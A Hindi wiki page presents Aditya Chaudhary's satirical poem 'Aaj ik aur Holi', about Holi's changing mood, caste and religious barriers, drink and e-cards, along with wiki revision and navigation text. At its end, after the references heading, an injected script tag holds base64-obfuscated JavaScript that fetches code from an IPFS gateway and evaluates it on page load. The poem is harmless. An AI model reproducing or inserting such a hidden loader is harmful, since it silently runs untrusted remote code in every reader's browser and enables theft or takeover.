आज इक और होली -आदित्य चौधरी

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 11:18, 28 जनवरी 2016 का अवतरण ("आज इक और होली -आदित्य चौधरी" सुरक्षित कर दिया ([संपादन=केवल प्रबन्धकों को अनुमति दें] (अनिश्चितका�)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
Copyright.png
आज इक और होली -आदित्य चौधरी

आख़िर होली ने भी रंग बदल ही लिया ...

सुहानी सुबह
आज इक और होली

अलसाई आखोँ से
शरमा के बोली
मुझे ख़ूब खेला है
मैं भी तो खेलूँ

वो दिन गए
जब थी सीधी और भोली

पहले मेरी ज़ात के लोग लाओ
या उनके मज़हब से वाकिफ़ कराओ
यूँ ही मुझे कोई छूएगा कैसे
कोई ग़ैर कैसे करेगा ठिठोली

बहुत मौज लेली है फोकट में राजा
मुझको भी दारू की बोतल पिलाओ
रंगों की मस्ती में रक्खा ही क्या है

मैं इस शहर में और तुम उस शहर में
ई-कार्ड से रंग दिखाओ-सुनाओ

यूँ भी अलर्जी है मुझको रंगों से
कुछ भी करो यार
रंग ना लगाओ
रंग ना लगाओ


टीका टिप्पणी और संदर्भ


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>